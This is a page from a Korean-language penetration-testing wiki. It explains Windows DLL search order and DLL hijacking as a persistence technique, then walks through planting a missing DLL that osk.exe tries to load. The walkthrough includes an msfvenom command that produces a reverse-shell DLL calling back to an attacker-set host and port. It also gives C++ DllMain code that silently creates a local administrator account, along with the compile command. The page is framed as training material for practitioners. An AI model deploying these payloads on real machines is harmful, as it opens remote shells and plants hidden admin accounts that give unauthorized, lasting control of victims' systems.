펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Practice
  • References

Was this helpful?

Export as PDF
  1. 지속성
  2. Local

DLL Hijacking

DLL Hijacking 공격은 실행 파일이 실행될 때 DLL이 참조되는 특성을 이용하여 악성 DLL을 삽입한 뒤 해당 시스템에서 특정 실행파일이 실행될 때마다 악성코드가 같이 실행되게끔 하는 지속성 공격입니다. 일반적으로 실행파일 소스코드에서 DLL 파일의 경로를 절대경로로 하드코딩 한 게 아니라면 다음과 같은 순서로 DLL을 참조합니다.

  1. 프로그램의 디렉토리

  2. 시스템 디렉토리(system32, SysWO64)

  3. 16비트 시스템 디렉토리

  4. Windows 디렉토리

  5. 현재 디렉토리

  6. PATH 환경변수에 설정된 디렉토리

이때 참조되는 순서를 이용한 공격이 Search Order Hijacking 공격이며 총 4가지의 하이재킹 공격 방법론이 있습니다.

  • Search Order Hijacking : DLL 참조 순서를 악용한 공격

  • Phantom DLL Hijacking : 존재하지 않는 DLL 참조를 악용하여 악성 DLL을 생성하는 공격

  • DLL Redirection : OS가 DLL 파일을 검색하는 위치를 변경하는 공격

  • Relative path DLL Hijacking : 쓰기 권한이 있는 폴더에 악성 DLL과 실행 파일의 이름을 변경하여 실행하는 공격

DLL 하이재킹은 보통 권한 상승보다는 지속성 공격으로 사용하는게 현실성과 가능성이 높기에 가장 흔하고 쉽게 사용되는 방식은 Search Order Hijacking 방식입니다. 실행 파일의 디렉토리에 참조하는 DLL과 동일한 이름으로 한다면 호환성만 해결했을 때 문제 없이 작동되기 때문입니다. 하지만 실습에서는 호환성 문제를 위해서 간단한 실습인 Phantom DLL Hijacking을 진행합니다.

Practice

실습 진행을 위해 Process Monitor를 설치합니다.

Process Monitor을 실행시킨 뒤, Windows 기본 프로그램인 osk.exe를 실행합니다. 그 이후 프로세스의 필터 기능에서 아래와 같이 필터를 걸어준 뒤 osk.exe에서 참조하지만 존재하지 않는 dll 파일을 찾아줍니다.

참조를 시도하지만 존재하지 않는 DLL 파일의 경로에 요구되는 이름과 같은 파일만 삽입한다면 해당 파일이 실행될 때 호환성의 문제 없이 백도어가 실행됩니다. 실습에서는 C:\Program Files\Common Files\microsoft shared\ink 하위에 Bcp47Langs.dll 파일을 만들어서 진행합니다.

# 악성 DLL 파일을 생성 후 로컬로 이동
msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o Bcp47Langs.dll

이제 장악한 PC에서는 osk.exe를 실행할 때마다 백도어가 실행됩니다. 만약 단순한 리버스쉘과 같은 실행 파일 외에, DLL 파일만으로 코드 실행을 원한다면 아래와 같이 간단한 DLL cpp 파일을 만든 뒤 컴파일 후 사용할 수 있습니다.

#include <windows.h>
BOOL APIENTRY DllMain(
    HANDLE hModule,       // Handle to DLL module
    DWORD ul_reason_for_call, // Reason for calling function
    LPVOID lpReserved     // Reserved
)
{
    switch (ul_reason_for_call)
    {
        case DLL_PROCESS_ATTACH: 
	    int i;
	    i = system ("net user wiki password123! /add");
	    i = system ("net localgroup administrators wiki /add");
            break;

        case DLL_THREAD_ATTACH: 
            break;

        case DLL_THREAD_DETACH: 
            break;

        case DLL_PROCESS_DETACH:
            break;
    }
    return TRUE;
}

파일을 test.cpp로 저장한 후에 Kali에서 명령어로 컴파일이 가능합니다.

x86_64-w64-mingw32-gcc test.cpp --shared -o test.dll

References

PreviousSSH Key InjectionNextDLL SideLoading

Last updated 1 month ago

Was this helpful?

Process Monitor - Sysinternalsdocsmsft
Logo
DLL 하이재킹(DLL Hijacking)을 통한 프로그램 해킹TISTORY
Logo
DLL Hijacking PART 1: Search Order HijackingSecurity & Intelligence 이글루코퍼레이션
Logo